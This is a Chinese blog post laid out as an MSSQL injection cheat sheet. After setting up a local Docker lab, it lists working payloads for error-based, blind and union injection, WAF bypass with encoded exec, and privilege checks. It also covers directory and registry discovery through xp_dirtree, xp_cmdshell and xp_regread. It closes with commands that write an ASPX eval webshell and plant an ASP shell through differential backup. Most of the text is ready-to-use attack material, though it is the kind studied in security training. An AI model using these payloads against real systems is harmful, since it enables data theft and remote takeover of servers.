MSSQL注入

环境搭建

sudo docker pull mcr.microsoft.com/mssql/server:2022-latest
docker run -e "ACCEPT_EULA=Y" -e "SA_PASSWORD=Y.sa123456" -p 1433:1433 --name mssql2022 -d mcr.microsoft.com/mssql/server:2022-latest

然后使用客户端连接即可

用户名 sa
密码 Y.sa123456

image.png
Docker安装MS SQL Server并使用Navicat远程连接 - 追逐时光者 - 博客园

注入细节

MSSQL_SQL_BYPASS_WIKI/一篇了解MSSQL.md at master · aleenzz/MSSQL_SQL_BYPASS_WIKI

基础使用

查询

SELECT name 
FROM sys.tables;  -- 输出数据库所有的表名字

注释

单行注释
--
多行注释
/* 
测试
测试
*/

关键字

@@version // 数据库版本

user  //获取当前数据库用户名

db_name() // 当前数据库名 其中db_name(N)可以来遍历其他数据库

;select user //查询是否支持多语句
1'and host_name()=@@servername;--'判断是否站库分离

注入步骤

判断当前数据库

1'and db_name()>0;--

爆表名

1' and 1=(select top 1 name from sysobjects where xtype='u' and name !='info');--

暴列名

1' and 1=(select top 1 name from syscolumns where id
=(select id from sysobjects where name = 'admin') and name<>'id');--

爆数据

1' and 1=(select top 1 username from admin);--

进阶使用

报错注入其他方式

使用函数来进行一个处理

select * from admin where id =1 (select CAST(USER as int))
select * from admin where id =1 (select convert(int,user))

waf绕过

使用declare ,进行局部变量声明.然后配合hex和ascii码来进行一个对应的绕过.

select * from admin where id =1;declare @a nvarchar(2000) set @a='select convert(int,@@version)' exec(@a) --
select * from admin where id =1;declare @s varchar(2000) set @s=0x73656c65637420636f6e7665727428696e742c404076657273696f6e29 exec(@s)--
select * from admin where id =1;declare @s varchar(2000) set @s= CHAR(115) + CHAR(101) + CHAR(108) + CHAR(101) + CHAR(99) + CHAR(116) + CHAR(32) + CHAR(99) + CHAR(111) + CHAR(110) + CHAR(118) + CHAR(101) + CHAR(114) + CHAR(116) + CHAR(40) + CHAR(105) + CHAR(110) + CHAR(116) + CHAR(44) + CHAR(64) + CHAR(64) + CHAR(118) + CHAR(101) + CHAR(114) + CHAR(115) + CHAR(105) + CHAR(111) + CHAR(110) + CHAR(41) exec(@s)--

布尔盲注

1 and ascii(substring((select top 1 name from master.dbo.sysdatabases),1,1)) >= 109

时间盲注

1;if (select IS_SRVROLEMEMBER('sysadmin'))=1 WAITFOR DELAY '0:0:5'--

1;if (ascii(substring((select top 1 name from master.dbo.sysdatabases),1,1)))>
1 WAITFOR DELAY '0:0:5'--

联合注入

相较于mysql注入,一般是使用null来进行一个对应的占位

1 union select null,name,pass --

shell获取

权限判断

and 1=(select is_srvrolemember('sysadmin'))

and 1=(select is_srvrolemember('serveradmin'))

and 1=(select is_srvrolemember('setupadmin'))

and 1=(select is_srvrolemember('securityadmin'))

and 1=(select is_srvrolemember('diskadmin'))

and 1=(select is_srvrolemember('bulkadmin'))


select IS_MEMBER('db_owner')  

寻找网站目录

使用xp_dirtree

1;CREATE TABLE tmp (dir varchar(8000),num int,num1 int);
1;insert into tmp(dir,num,num1) execute master..xp_dirtree 'c:',1,1

直接使用xp_cmdshell

1;CREATE TABLE cmdtmp (dir varchar(8000));
1;insert into cmdtmp(dir) exec master..xp_cmdshell 'for /r c:\ %i in (1*.aspx) do @echo %i'

尝试读注册xp_regread

exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/'

shell写入

直接使用xp_cmdshell写入

1;exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > c:\\WWW\\404.aspx' ;

使用差异备份

1. backup database 库名 to disk = 'c:\bak.bak';--

2. create table [dbo].[test] ([cmd] [image]);

3. insert into test(cmd) values(0x3C25657865637574652872657175657374282261222929253E)

4. backup database 库名 to disk='C:\d.asp' WITH DIFFERENTIAL,FORMAT;--

posted @   Ho1d_F0rward  阅读(12)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 25岁的心里话
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· 闲置电脑爆改个人服务器(超详细) #公网映射 #Vmware虚拟网络编辑器
· 一起来玩mcp_server_sqlite,让AI帮你做增删改查!!
· 零经验选手,Compose 一天开发一款小游戏!
点击右上角即可分享
微信分享提示